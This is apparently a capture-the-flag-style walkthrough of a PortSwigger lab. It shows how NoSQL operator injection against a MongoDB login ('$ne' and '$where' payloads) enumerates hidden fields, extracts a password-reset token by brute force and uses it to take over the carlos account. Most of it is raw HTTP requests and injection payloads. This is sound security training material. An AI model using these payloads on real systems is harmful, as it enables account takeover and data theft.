Exploiting NoSQL operator injection to extract unknown fields
https://portswigger.net/web-security/nosql-injection/lab-nosql-injection-extract-unknown-fields
The user lookup functionality for this lab is powered by a MongoDB NoSQL database. It is vulnerable to NoSQL injection.
To solve the lab, log in as carlos.
Discovery
Section titled “Discovery”Login request
POST /login HTTP/2Host: 0adb004c0312d71280e008b6001e001c.web-security-academy.netCookie: session=uTdB65G3lSGzeCHwiMbiYhNIkMF4gz3nContent-Length: 41Sec-Ch-Ua-Platform: "macOS"Accept-Language: en-GB,en;q=0.9Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"Content-Type: application/jsonSec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36Accept: */*Origin: https://0adb004c0312d71280e008b6001e001c.web-security-academy.netSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://0adb004c0312d71280e008b6001e001c.web-security-academy.net/loginAccept-Encoding: gzip, deflate, brPriority: u=1, i
{"username":"carlos","password":"abc"}Testing operator injection
{ "username":"carlos", "password":{ "$ne": "xyz" }}Operator works but the account is locked.

Testing with "where":"0", returns Invalid username or password
{ "username": "carlos", "password":{ "$ne": "xyz" }, "where":"0"}Testing with "where":"1", returns Account locked: please reset your password
{ "username": "carlos", "password":{ "$ne": "xyz" }, "where":"1"}The differences in response shows that $where is being evaluated.
Following payload inspects first object and returns first character.
"$where":"Object.keys(this)[0].match('^.{0}a.*')"{ "username": "carlos", "password": { "$ne": "xyz" }, "$where":"Object.keys(this)[3].match('^.{0}a.*')"}Server response:
- Valid character:
Account locked: please reset your password - Invalid character:
Invalid username or password
$where":"Object.keys(this)[4].match('^.{0}n.*')"$where":"Object.keys(this)[4].match('^.{0}ne.*')"$where":"Object.keys(this)[4].match('^.{0}new.*')"$where":"Object.keys(this)[4].match('^.{0}newpa.*')"$where":"Object.keys(this)[4].match('^.{0}newpa.*')"$where":"Object.keys(this)[4].match('^.{0}newpa.*')"Fields found:
_id:$where":"Object.keys(this)[0].match('^.{0}n.*')"username:$where":"Object.keys(this)[1].match('^.{0}n.*')"password:$where":"Object.keys(this)[2].match('^.{0}n.*')"email:$where":"Object.keys(this)[3].match('^.{0}n.*')"newPwdTkn:$where":"Object.keys(this)[4].match('^.{0}n.*')"
Exploit
Section titled “Exploit”Getting the value of newPwdTkn using Cluster bomb attack
"$where": "this[Object.keys(this)[4]][0] == 'a'"
Result:

newPwdTkn: 3bdad9092c34b301
Use token in forgot password endpoint
GET /forgot-password?newPwdTkn=3bdad9092c34b301 HTTP/2Host: 0adb004c0312d71280e008b6001e001c.web-security-academy.netCookie: session=uTdB65G3lSGzeCHwiMbiYhNIkMF4gz3nSec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "macOS"Accept-Language: en-GB,en;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://0adb004c0312d71280e008b6001e001c.web-security-academy.net/loginAccept-Encoding: gzip, deflate, brPriority: u=0, i
